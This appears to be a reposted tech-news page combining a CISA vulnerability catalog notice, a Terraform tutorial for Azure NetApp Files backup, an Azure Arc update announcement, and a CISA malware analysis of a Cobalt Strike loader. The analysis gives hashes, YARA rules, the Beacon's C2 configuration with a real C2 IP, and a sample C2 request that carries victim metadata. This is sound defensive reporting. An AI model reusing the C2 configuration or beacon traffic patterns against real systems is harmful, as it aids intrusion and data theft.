by Scott Muniz | Oct 20, 2022 | Security, Technology
This article is contributed. See the original author and article here.
CISA has added two vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risk to the federal enterprise. Note: to view the newly added vulnerabilities in the catalog, click on the arrow in the “Date Added to Catalog” column, which will sort by descending dates.
Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant risk to the federal enterprise. BOD 22-01 requires FCEB agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.
Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the Catalog that meet the specified criteria.
by Contributed | Oct 20, 2022 | Technology
This article is contributed. See the original author and article here.
Table of Contents
Abstract
Introduction
Scenario
Azure NetApp Files backup preview enablement
Managing Resource Providers in Terraform
Terraform Configuration
Terraform AzAPI and AzureRM Providers
Declaring the Azure NetApp Files infrastructure
Azure NetApp Files backup policy creation
Assigning a backup policy to an Azure NetApp Files volume
AzAPI to AzureRM migration
Summary
Additional Information
Abstract
This article demonstrates how to enable the use of preview features in Azure NetApp Files in combination with Terraform Cloud and the AzAPI provider. In this example we enhance data protection with Azure NetApp Files backup (preview) by enabling and creating backup policies using the AzAPI Terraform provider and leveraging Terraform Cloud for the deployment.
Co-authors: John Alfaro (NetApp)
Introduction
As Azure NetApp Files development progresses new features are continuously being brought to market. Some of those features arrive in a typical Azure ‘preview’ fashion first. These features normally do not get included into Terraform before general availability (GA). A recent example of such a preview feature at the time of writing is Azure NetApp Files backup.
In addition to snapshots and cross-region replication, Azure NetApp Files data protection has extended to include backup vaulting of snapshots. Using Azure NetApp Files backup, you can create backups of your volumes based on volume snapshots for longer term retention. At the time of writing, Azure NetApp files backup is a preview feature, and has not yet been included in the Terraform AzureRM provider. For that reason, we decided to use the Terraform AzAPI provider to enable and manage this feature.
Azure NetApp Files backup provides fully managed backup solution for long-term recovery, archive, and compliance.
- Backups created by the service are stored in an Azure storage account independent of volume snapshots. The Azure storage account will be zone-redundant storage (ZRS) where availability zones are available or locally redundant storage (LRS) in regions without support for availability zones.
- Backups taken by the service can be restored to an Azure NetApp Files volume within the region.
- Azure NetApp Files backup supports both policy-based (scheduled) backups and manual (on-demand) backups. In this article, we will be focusing on policy-based backups.
For more information regarding this capability go to Azure NetApp Files backup documentation.
Scenario
In the following scenario, we will demonstrate how Azure NetApp Files backup can be enabled and managed using the Terraform AzAPI provider. To provide additional redundancy for our backups, we will backup our volumes in the Australia East region, taking advantage of zone-redundant storage (ZRS).

Azure NetApp Files backup preview enablement
To enable the preview feature for Azure NetApp Files, you need to enable the preview feature. In this case, this feature needs to be requested via the Public Preview request form. Once the feature is enabled, it will appear as ‘Registered’.
Get-AzProviderFeature -ProviderNamespace “Microsoft.NetApp” -Feature ANFBackupPreview
FeatureName ProviderName RegistrationState
———– ———— —————–
ANFBackupPreview Microsoft.NetApp Registered
(!) Note
A ‘Pending’ status means that the feature needs to be enabled by Microsoft before it can be used.
|
Managing Resource Providers in Terraform
In case you manage resource providers and its features using Terraform you will find that registering the preview feature will fail with the below message, which is expected as it is a forms-based opt-in feature.
Resource “azurerm_resource_provider_registration” “anfa” {
name = “Microsoft.NetApp”
feature {
name = “ANFSDNAppliance”
registered = true
}
feature {
name = “ANFChownMode”
registered = true
}
feature {
name = “ANFUnixPermissions”
registered = true
}
feature {
name = “ANFBackupPreview”
registered = true
}
}

Terraform Configuration
We are deploying Azure NetApp Files using a module with the Terraform AzureRM provider and configuring the backup preview feature using the AzAPI provider.
Microsoft has recently released the Terraform AzAPI provider which helps to break the barrier in the infrastructure as code (IaC) development process by enabling us to deploy features that are not yet released in the AzureRM provider. The definition is quite clear and taken from the provider GitHub page.
The AzAPI provider is a very thin layer on top of the Azure ARM REST APIs. This new provider can be used to authenticate to and manage Azure resources and functionality using the Azure Resource Manager APIs directly.
The code structure we have used looks like the sample below. However, if using Terraform Cloud you use the private registry for module consumption. For this article, we are using local modules.
ANF Repo
|_Modules
|_ANF_Pool
| |_ main.tf
| |_ variables.tf
| |_ outputs.tf
| |_ ANF_Volume
| |_ main.tf
| |_ variables.tf
| |_ outputs.tf
|_ main.tf
|_ providers.tf
|_ variables.tf
|_ outputs.tf
Terraform AzAPI and AzureRM Providers
We have declared the Terraform providers configuration to be used as below.
provider “azurerm” {
skip_provider_registration = true
features {}
}
provider “azapi” {
}
terraform {
required_providers {
azurerm = {
source = “hashicorp/azurerm”
version = “~> 3.00”
}
azapi = {
source = “azure/azapi”
}
}
}
Declaring the Azure NetApp Files infrastructure
To create the Azure NetApp Files infrastructure, we will be declaring and deploying the following resources:
- NetApp account
- capacity pool
- volume
- export policy which contains one or more export rules that provide client access rules
resource “azurerm_netapp_account” “analytics” {
name = “cero-netappaccount”
location = data.azurerm_resource_group.one.location
resource_group_name = data.azurerm_resource_group.one.name
}
module “analytics_pools” {
source = “./modules/anf_pool”
for_each = local.pools
account_name = azurerm_netapp_account.analytics.name
resource_group_name = azurerm_netapp_account.analytics.resource_group_name
location = azurerm_netapp_account.analytics.location
volumes = each.value
tags = var.tags
}
To configure Azure NetApp Files policy-based backups for a volume there are some requirements. For more info about these requirements, please check requirements and considerations for Azure NetApp Files backup.
- snapshot policy must be configured and enabled
- Azure NetApp Files backup is supported in the following regions. In this example we are using the Australia East region.
After deployment, you will be able to see the backup icon as part of the NetApp account as below.

Azure NetApp Files backup policy creation
The creation of the backup policy is similar to a snapshot policy and has its own Terraform resource. The backup policy is a child element of the NetApp account. You’ll need to use the ‘azapi_resource’ resource type with the latest API version.
(!) Note
It is helpful to install the Terraform AzAPI provider extension in VSCode, as it will make development easier with the IntelliSense completion.
|
The code looks like this:
resource “azapi_resource” “backup_policy” {
type = “Microsoft.NetApp/netAppAccounts/backupPolicies@2022-01-01”
parent_id = azurerm_netapp_account.analytics.id
name = “test”
location = “australiaeast”
body = jsonencode({
properties = {
enabled = true
dailyBackupsToKeep = 1
weeklyBackupsToKeep = 0
monthlyBackupsToKeep = 0
}
})
}
(!) Note
The ‘parent_id’ is the resource id of the NetApp account
|
Because we are deploying this in the Australia East region, which has support for availability zones, the Azure storage account used will be configured with zone-redundant storage (ZRS), as documented under Requirements and considerations for Azure NetApp Files backup. In the Azure Portal, within the volume context, it will look like the following:

(!) Note
Currently Azure NetApp File backups supports backing up the daily, weekly, and monthly local snapshots created by the associated snapshot policy to the Azure Storage account.
|
The first snapshot created when the backup feature is enabled is called a baseline snapshot, and its name includes the prefix ‘snapmirror’.

Assigning a backup policy to an Azure NetApp Files volume
The next step in the process is to assign the backup policy to an Azure NetApp Files volume. Once again, as this is not yet supported by the AzureRM provider, we will use the `azapi_update_resource` as it allows us to manage the resource properties we need from the existing NetApp account. Additionally, it does use the same auth methods as the AzureRM provider. In this case, the configuration code looks like the following where the data protection block is added to the volume configuration.
resource “azapi_update_resource” “vol_backup” {
type = “Microsoft.NetApp/netAppAccounts/capacityPools/volumes@2021-10-01”
resource_id = module.analytics_pools[“pool1”].volumes.volume1.volume.id
body = jsonencode({
properties = {
dataProtection = {
backup = {
backupEnabled = true
backupPolicyId = azapi_resource.backup_policy.id
policyEnforced = true
}
}
unixPermissions = “0740”,
exportPolicy = {
rules = [{
ruleIndex = 1,
chownMode = “unRestricted” }
]
}
}
})
}
The data protection policy will look like the screenshot below indicating the specified volume is fully protected within the region.

AzAPI to AzureRM migration
At some point, the resources created using the AzAPI provider will become available in the AzureRM provider, which is the recommended way to provision infrastructure as code in Azure. To make code migration a bit easier, Microsoft has provided the AzAPI2AzureRM migration tool.
Summary
The Terraform AzAPI provider is a tool to deploy Azure features that have not yet been integrated in to the AzureRM Terraform provider. As we see more adoption of preview features in Azure NetApp Files this new functionality will give us deployment support to manage zero-day and preview features, such as Azure NetApp Files backup and more.
Additional Information
- https://learn.microsoft.com/azure/azure-netapp-files
- https://learn.microsoft.com/azure/azure-netapp-files/backup-introduction
- https://learn.microsoft.com/azure/azure-netapp-files/backup-requirements-considerations
- https://learn.microsoft.com/azure/developer/terraform/overview-azapi-provider#azapi2azurerm-migration-tool
- https://registry.terraform.io/providers/hashicorp/azurerm
- https://registry.terraform.io/providers/Azure/azapi
- https://github.com/Azure/terraform-provider-azapi
by Contributed | Oct 19, 2022 | Technology
This article is contributed. See the original author and article here.
The Azure Arc team is excited to announce generally availability of Automatic VM extension upgrades for Azure Arc-enabled servers. VM extensions allow customers to easily include additional capabilities on their Azure Arc-enabled servers. Extension capabilities range from collecting log data with Azure Monitor to extending your security posture with Azure Defender to deploying a hybrid runbook worker on Azure Automation. Over time, these VM extensions get updated with security enhancements and new functionality. Maintaining high availability of these services during these upgrades can be challenging and a manual task. The complexity only grows as the scale of your service increases.
With Automatic VM extension upgrades, extensions are automatically upgraded by Azure Arc whenever a new version of an extension is published. Auto extension upgrade is designed to minimize service disruption of workloads during upgrades even at high scale and to automatically protect customers against zero-day & critical vulnerabilities.
How does this work?
Gone are the days of manually checking for and scheduling updates to the VM Extensions used by your Azure Arc-enabled servers. When a new version of an extension is published, Azure will automatically check to see if the extension is installed on any of your Azure Arc-enabled servers. If the extension is installed, and you’ve opted into automatic upgrades, your extension will be queued for an upgrade.
The upgrades across all eligible servers are rolled out in multiple iterations where each iteration contains a subset of servers (about 20% of all eligible servers). Each iteration has a randomly selected set of servers and can contain servers from one or more Azure regions. During the upgrade, the latest version of the extension is downloaded to each server, the current version is removed, and finally the latest version is installed. Once all the extensions in the current phase are upgraded, the next phase will begin. If upgrade fails on any of the VM, then rollback to previous stable extension version is triggered immediately. This will remove the extension and install the last stable version of the extension. This rolled back VM is then included in the next phase to retry upgrade. You’ll see an event in the Azure Activity Log when an extension upgrade is initiated.
How do I get started?
No user action is required to enable automatic extension upgrade. When you deploy an extension to your server, automatic extension upgrades will be enabled by default. All your existing ARM templates, Azure Policies, and deployment scripts will honor the default selection. You however will have an option to opt-out during or any time after extension installation on the server.
After an extension installation, you can verify if the extension is enabled for automatic upgrade by looking for the status under “Automatic upgrade status” column in Azure Portal. Azure Portal can also be used to opt-in or opt-out of auto upgrades by first selecting the extensions using checkboxes and then by clicking on the “Enable Automatic Upgrade” or “Disable Automatic Upgrade” buttons respectively.

You can also use Azure CLI and Azure PowerShell to view the auto extension upgrade status and to opt-in or opt-out. You can learn more about this using our Azure documentation.
What extensions & regions are supported?
Limited set of extensions are currently supported for Auto extension upgrade. Extensions not yet supported for auto upgrade will have status as “Not supported” under the “Automatic upgrade status” column. You can also refer Azure documentation for complete list of supported extensions.
All public azure regions are currently supported. Arc enabled Servers connected to any public azure region are eligible for automatic upgrades.
Upcoming enhancements
We will be gradually supporting many more extensions available on Arc enabled Servers.
by Scott Muniz | Oct 19, 2022 | Security, Technology
This article is contributed. See the original author and article here.
This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.
This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.
Description
CISA received a benign 32-bit Windows executable file, a malicious dynamic-link library (DLL) and an encrypted file for analysis from an organization where cyber actors exploited vulnerabilities against Zimbra Collaboration Suite (ZCS). Four CVEs are currently being leveraged against ZCS: CVE-2022-24682, CVE-2022-27924, CVE-2022-27925 chained with CVE-2022-37042, and CVE-2022-30333. The executable file is designed to side-load the malicious DLL file. The DLL is designed to load and Exclusive OR (XOR) decrypt the encrypted file. The decrypted file contains a Cobalt Strike Beacon binary. The Cobalt Strike Beacon is a malicious implant on a compromised system that calls back to the command and control (C2) server and checks for additional commands to execute on the compromised system.
For more information on cyber actors exploiting vulnerabilities in ZCS, see joint CSA: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite.
Download the PDF version of this report: MAR-10398871-1.v2.WHITE, 372 kb
Submitted Files (3)
233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91 (bin.config)
25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51 (VFTRACE.dll)
df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348 (vxhost.exe)
Additional Files (1)
3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e (Extracted_CobaltStrike_Beacon)
IPs (1)
207.148.76.235
df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348
Tags
loaderpup
Details
| Name |
vxhost.exe |
| Size |
351240 bytes |
| Type |
PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5 |
4109ac08bdc8591c7b46348eb1bca85d |
| SHA1 |
6423d1c324522bfd2b65108b554847ac4ab02479 |
| SHA256 |
df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348 |
| SHA512 |
0605362190a9cb04a7392c7eae3ef79964a76ea68dc03dfabe6ec8f445f1c355772f2ca8166cbee73188e57bff06b74fb2cfa59869cb4461fffe1c3589856554 |
| ssdeep |
6144:BTMoU0+zvvLIpa8bo5GOc1G41vupWn2rwRGekPHZLZKA1UnmOlm:XUDvvsc80AOc1GYvAW2EGtH5ZKAKmOQ |
| Entropy |
6.471736 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
No matches found.
PE Metadata
| Compile Date |
2016-01-05 08:22:40-05:00 |
| Import Hash |
b66afb12e84aa5ce621a6635837cadba |
| Company Name |
CyberArk Software Ltd. |
| File Description |
CyberArk Viewfinity |
| Internal Name |
vf_host.exe |
| Legal Copyright |
Copyright © 1999-2016 CyberArk Software Ltd. All Rights Reserved. |
| Original Filename |
vf_host.exe |
| Product Name |
CyberArk Viewfinity |
| Product Version |
5.5.10.101 |
PE Sections
| MD5 |
Name |
Raw Size |
Entropy |
| 3822119e846581669481aba79308c57c |
header |
1024 |
2.580725 |
| 98ccfff2af4ccaa3335f63592a1fba02 |
.text |
270848 |
6.543317 |
| 9dcc89a0d16e36145bb07924ca260dfe |
.rdata |
50688 |
5.132125 |
| 14d493033fc147f67601753310725b2b |
.data |
5632 |
3.711689 |
| 615729d1383743a91b8baf309f1a8232 |
.rsrc |
16896 |
4.839559 |
Packers/Compilers/Cryptors
Relationships
| df847abbfa… |
Used |
25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51 |
Description
This artifact is a 32-bit executable file that has been identified as a version of vf_host.exe from Viewfinity and is benign. The file is used to side-load a DLL, vftrace.dll “058434852bb8e877069d27f452442167”.
25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51
Tags
loadertrojan
Details
| Name |
VFTRACE.dll |
| Size |
78336 bytes |
| Type |
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows |
| MD5 |
058434852bb8e877069d27f452442167 |
| SHA1 |
026d81090c857d894aaa18225ec4a99e419da651 |
| SHA256 |
25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51 |
| SHA512 |
602ad76d61e97d72d983083768eba32d3ad549ac1c763a9b39092feaef8bd4d186df18b6f91992ac8da517e86b84aaa2422da700798a65f4383ed997f52744e3 |
| ssdeep |
1536:carhs4oc7yABoxjo5p+Ocyk7P0Okmu4dJsWxcdbbZFUZAUZpw/:ndy8oxjS+Ocyk7sMzCbVFUZAULW |
| Entropy |
6.278601 |
Antivirus
| Adaware |
Gen:Variant.Bulz.429221 |
| Avira |
TR/Agent.bjbhb |
| Bitdefender |
Gen:Variant.Bulz.429221 |
| Cyren |
W32/ABRisk.LHKD-1052 |
| ESET |
a variant of Win32/Agent.AELW trojan |
| Emsisoft |
Gen:Variant.Bulz.429221 (B) |
| IKARUS |
Trojan.Win32.Agent |
| K7 |
Trojan ( 00595a621 ) |
| Symantec |
Trojan.Gen.MBT |
| Zillya! |
Trojan.Agent.Win32.2882847 |
YARA Rules
- rule CISA_10398871_01 : trojan loader COBALTSTRIKE
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10398871”
Date = “2022-09-29”
Last_Modified = “20221001_1200”
Actor = “n/a”
Category = “Trojan Loader”
Family = “COBALTSTRIKE”
Description = “Detects CobaltStrike Loader samples”
MD5=”058434852bb8e877069d27f452442167″
SHA256=”25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51″
strings:
$s1 = { 62 69 6E 2E 63 6F 6E 66 69 67 }
$s2 = { 56 46 54 52 41 43 45 }
$s3 = { FF 15 18 D0 00 10 }
$s4 = { FF 15 28 D0 00 10 }
$s5 = { 8B 55 EC 03 55 F4 0F B6 02 33 45 E4 }
condition:
uint16(0) == 0x5A4D and all of them
}
ssdeep Matches
No matches found.
PE Metadata
| Compile Date |
2022-06-20 05:36:32-04:00 |
| Import Hash |
6677de6818bcf597d512ad4ddaea3f53 |
| Company Name |
CyberArk Software Ltd. |
| File Description |
CyberArk Viewfinity |
| Internal Name |
VFTRACE.dll |
| Legal Copyright |
Copyright © 1999-2016 CyberArk Software Ltd. All Rights Reserved. |
| Original Filename |
VFTRACE.dll |
| Product Name |
CyberArk Viewfinity |
| Product Version |
5.5.10.101 |
PE Sections
| MD5 |
Name |
Raw Size |
Entropy |
| ef4a8b161c3676b052755f8c0bf9f3bd |
header |
1024 |
2.828221 |
| 48afd9b4ef10b5f14b2c10c9581cbc2d |
.text |
45568 |
6.611882 |
| f99c54571592839d48904df07f921829 |
.rdata |
24064 |
4.990721 |
| 8a5c1764d3d68e0963003dd46f3b905e |
.data |
2560 |
1.834913 |
| 1e0c952d3a72e7edcda3b58acd829b6b |
.rsrc |
1536 |
3.799739 |
| 41dfd851e9053a3876aa86212cd5d4a1 |
.reloc |
3584 |
6.485745 |
Packers/Compilers/Cryptors
Relationships
| 25da610be6… |
Used_By |
df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348 |
| 25da610be6… |
Used |
233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91 |
Description
This artifact is a malicious 32-bit DLL file loaded by “vxhost.exe” (4109ac08bdc8591c7b46348eb1bca85d). This file is designed to search and load an encrypted file “%current directory%bin.config” (be2b0c387642fe7e8475f5f5f0c6b90a) if installed on the compromised system. It decrypts the file using the hard-coded XOR key “0x401”. The decrypted binary contains a Cobalt Strike Beacon DLL that has an embedded shellcode inside of the MZ header. It copies the Cobalt Strike Beacon DLL into a buffer and executes the shellcode.
Screenshots

Figure 1 – This screenshot illustrates code extracted from this malware where it loads and XOR decrypts the encrypted file “bin.config” (be2b0c387642fe7e8475f5f5f0c6b90a) before executed in memory.
3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e
Tags
trojan
Details
| Name |
Extracted_CobaltStrike_Beacon |
| Size |
210953 bytes |
| Type |
data |
| MD5 |
ff1d9474c2bfa9ada8d5ed3e16f0b04a |
| SHA1 |
60299a59f05b10f49f781dc073249bcb7ec27b63 |
| SHA256 |
3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e |
| SHA512 |
a064097eb149f7a23df75d7575f8c30ffb83fd7ad0a00ab379c34c114827cef5ec574a1126a7f914eeed08a8c8230c796cdc5cdf111cc238fa6e9427580f9fab |
| ssdeep |
6144:tRqu98CxD0cdRScc6stsxB4WLks1YarGR8Wjo/gj:F24hdEjWLks1YarGR85Yj |
| Entropy |
6.968463 |
Antivirus
| Adaware |
DeepScan:Generic.Exploit.Shellcode.2.8AF0A507 |
| Bitdefender |
DeepScan:Generic.Exploit.Shellcode.2.8AF0A507 |
| Emsisoft |
DeepScan:Generic.Exploit.Shellcode.2.8AF0A507 (B) |
| Trend Micro |
Trojan.FC904969 |
| Trend Micro HouseCall |
Trojan.FC904969 |
YARA Rules
- rule CISA_10398871_02 : trojan COBALTSTRIKE
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10398871”
Date = “2022-09-29”
Last_Modified = “20221001_1200”
Actor = “n/a”
Category = “Trojan”
Family = “COBALTSTRIKE”
Description = “Detects CobaltStrike trojan shellcode samples with an embedded beacon”
MD5=”ff1d9474c2bfa9ada8d5ed3e16f0b04a”
SHA256=”3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e”
strings:
$s1 = { 41 41 41 41 }
$s2 = { 42 42 42 42 }
$s3 = { 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 }
$s4 = { 8B 4D 08 51 6A 01 8B 55 C0 52 FF 55 C8 }
condition:
uint16(9) == 0x5A4D and all of them
}
ssdeep Matches
No matches found.
Relationships
| 3450d5a3c5… |
Connected_To |
207.148.76.235 |
| 3450d5a3c5… |
Contained_Within |
233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91 |
Description
This file is decrypted and executed by “vftrace.dll” (058434852bb8e877069d27f452442167). This file is a 32-bit Portable Executable (PE) DLL that has an embedded shellcode inside of the MZ header, which is located at the start of the file. When executed, the shellcode decrypts an embedded beacon payload using a single-byte XOR key 0xC3. It executes the entry point of the decrypted payload in memory at runtime. The decrypted payload has been identified as a Cobalt Strike Beacon implant. During the execution, it decodes its configuration using a single-byte XOR key 0x4f. The configuration contains the, RSA public key, C2, communication protocol, and more. The parsed configuration data for the Cobalt Strike Beacon implant is displayed below in JSON format:
–Begin configuration in the Cobalt Strike Beacon–
{
“BeaconType”: [
“HTTPS” ==> Beacon uses HTTPS to communicate
],
“Port”: 443,
“SleepTime”: 5000, ==> Timing of C2 Beacons via Sleeptime and Jitter feature
“MaxGetSize”: 1403644,
“Jitter”: 20, ==> . Jitter value to force Beacon to randomly modify its sleep time. Jitter of 20 means that there is a random jitter of 20% of 5000 milliseconds
“MaxDNS”: “Not Found”, ==> Publickey to encrypt communications
“PublicKey”: “MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDApWEZn8vYHYN/JiXoF72xGpWuxdZ7gGRYn6E7+mFmsVDSzImL7GTMXrllB4TM6/oR+WDKk0L+8elLel63FXPQ3d3K/t1/8dnYBLpjPER+/G/iu2viAN+6KEsQfKA3O6ZvABg9/uH86G2erow7Ik4a2VinucYSkKJ8jYV1yfeDzQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==”,
“PublicKey_MD5”: “9b96180552065cdf6cc42f8ba6f43f8b”,
“C2Server”: “207[.]148[.]76[.]235,/jquery-3.3.1.min.js”,
“UserAgent”: “Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36”,
“HttpPostUri”: “/jquery-3.3.2.min.js”,
“Malleable_C2_Instructions”: [
“Remove 1522 bytes from the end”,
“Remove 84 bytes from the beginning”,
“Remove 3931 bytes from the beginning”,
“Base64 URL-safe decode”,
“XOR mask w/ random key”
],
“HttpGet_Metadata”: {
“ConstHeaders”: [
“Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
“Referer: http://code.jquery.com/”,
“Accept-Encoding: gzip, deflate”
],
“ConstParams”: [],
“Metadata”: [
“base64url”,
“prepend “__cfduid=””,
“header “Cookie””
],
“SessionId”: [],
“Output”: []
},
“HttpPost_Metadata”: {
“ConstHeaders”: [
“Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
“Referer: http://code.jquery.com/”,
“Accept-Encoding: gzip, deflate”
],
“ConstParams”: [],
“Metadata”: [],
“SessionId”: [
“mask”,
“base64url”,
“parameter “__cfduid””
],
“Output”: [
“mask”,
“base64url”,
“print”
]
},
“SpawnTo”: “AAAAAAAAAAAAAAAAAAAAAA==”,
“PipeName”: “Not Found”,
“DNS_Idle”: “Not Found”,
“DNS_Sleep”: “Not Found”,
“SSH_Host”: “Not Found”,
“SSH_Port”: “Not Found”,
“SSH_Username”: “Not Found”,
“SSH_Password_Plaintext”: “Not Found”,
“SSH_Password_Pubkey”: “Not Found”,
“SSH_Banner”: “”,
“HttpGet_Verb”: “GET”,
“HttpPost_Verb”: “POST”,
“HttpPostChunk”: 0,
“Spawnto_x86”: “%windir%syswow64dllhost.exe”,
“Spawnto_x64”: “%windir%sysnativedllhost.exe”,
“CryptoScheme”: 0,
“Proxy_Config”: “Not Found”,
“Proxy_User”: “Not Found”,
“Proxy_Password”: “Not Found”,
“Proxy_Behavior”: “Use IE settings”,
“Watermark”: 1234567890,
“bStageCleanup”: “True”,
“bCFGCaution”: “False”,
“KillDate”: 0,
“bProcInject_StartRWX”: “False”,
“bProcInject_UseRWX”: “False”,
“bProcInject_MinAllocSize”: 17500,
“ProcInject_PrependAppend_x86”: [
“kJA=”,
“Empty”
],
“ProcInject_PrependAppend_x64”: [
“kJA=”,
“Empty”
],
“ProcInject_Execute”: [
“ntdll:RtlUserThreadStart”,
“CreateThread”,
“NtQueueApcThread-s”,
“CreateRemoteThread”,
“RtlCreateUserThread”
],
“ProcInject_AllocationMethod”: “NtMapViewOfSection”,
“ProcInject_Stub”: “s7YR+gVAMtA1Jtjf0KV/Cw==”, ==> the Base64 encoded MD5 file hash of the Cobalt Strike
“bUsesCookies”: “True”,
“HostHeader”: “”,
“smbFrameHeader”: “AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=”,
“tcpFrameHeader”: “AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=”,
“headersToRemove”: “Not Found”,
“DNS_Beaconing”: “Not Found”,
“DNS_get_TypeA”: “Not Found”,
“DNS_get_TypeAAAA”: “Not Found”,
“DNS_get_TypeTXT”: “Not Found”,
“DNS_put_metadata”: “Not Found”,
“DNS_put_output”: “Not Found”,
“DNS_resolver”: “Not Found”,
“DNS_strategy”: “round-robin”,
“DNS_strategy_rotate_seconds”: -1,
“DNS_strategy_fail_x”: -1,
“DNS_strategy_fail_seconds”: -1
}
–End configuration in the Cobalt Strike Beacon–
It is designed to use a JavaScript library jQuery malleable C2 profile for communication to evade detection. It attempts to send a GET request to its C2 server with metadata in the cookie header “__cfduid” that contains information about the compromised system such as, username, computer name, operating system (OS) version, the name of the malware executing on the victim’s system, and other information. The metadata in the cookie header is encrypted and encoded.
Displayed below is the RSA public key used to encrypt the metadata before it is encoded using NetBios (uppercase) and base64 encoding algorithm:
–Begin public key–
30 81 9F 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 81 8D 00 30 81 89 02 81 81 00 C0 A5 61 19 9F CB D8 1D 83 7F 26 25 E8 17 BD B1 1A 95 AE C5 D6 7B 80 64 58 9F A1 3B FA 61 66 B1 50 D2 CC 89 8B EC 64 CC 5E B9 65 07 84 CC EB FA 11 F9 60 CA 93 42 FE F1 E9 4B 7A 5E B7 15 73 D0 DD DD CA FE DD 7F F1 D9 D8 04 BA 63 3C 44 7E FC 6F E2 BB 6B E2 00 DF BA 28 4B 10 7C A0 37 3B A6 6F 00 18 3D FE E1 FC E8 6D 9E AE 8C 3B 22 4E 1A D9 58 A7 B9 C6 12 90 A2 7C 8D 85 75 C9 F7 83 CD 02 03 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
–End public key–
Displayed below is a sample jQuery Malleable C2 Hypertext Transfer Protocol (HTTP) GET request with metadata in the cookie header:
–Begin request–
GET /jquery-3.3.1.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=vZZ5M4aBtrWVoM5-rSVJFrF_ucMPaPE3QjFh6lc2jJ9YYlfZlI2k7M3PwRbOpG9HZXpYi7cauuFgY62ZfLQ9SvZF5anYnl0aQE6oR1Xi_D2fkuoNiug3oKXLk-Vj-Fwp1IhyNG4gKv0vzkU9Scy0EByFnaM2E-Prj__Bb1niJjw
User-Agent: Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Host: 207[.]148[.]76[.]235
Connection: Keep-Alive
Cache-Control: no-cache
–End request–
Analysis indicates that the C2 server will respond to the above HTTP GET request with encrypted data that contains commands, which the malware will decrypt and execute to perform additional functions. The C2 server response payload was not available for analysis.
Displayed below are sample functions built into the malware:
–Begin commands–
Make and change directory
Copy, move, remove files to the specified destination
Download and upload files
List drives on victim’s system
